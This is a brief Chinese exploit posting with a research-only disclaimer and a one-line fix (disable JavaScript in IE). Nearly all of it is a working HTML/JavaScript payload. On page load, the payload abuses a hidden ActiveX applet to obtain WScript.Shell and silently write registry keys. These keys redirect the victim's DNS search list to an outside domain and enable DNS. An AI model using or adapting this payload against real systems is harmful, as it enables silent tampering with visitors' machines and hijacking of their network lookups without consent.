以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<script>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function yuzi3(){
try{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
try{

Shl.RegWrite("HKLM\\System\\CurrentControlSet\\Services\\VxD\\MSTCP\\SearchList","roots-se
rvers.net");
}
catch(e){}
}
catch(e){}
}
setTimeout("yuzi3()",1000);
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function yuzi2(){
try{
a2=document.applets[0];a2.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a2.createInstance();Shl =
a2.GetObject();a2.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
try{

Shl.RegWrite("HKLM\\System\\CurrentControlSet\\Services\\VxD\\MSTCP\\EnableDns","1");
}
catch(e){}
}
catch(e){}
}setTimeout("yuzi2()",1000);
</script>

解决方法: 在ie中禁止javascript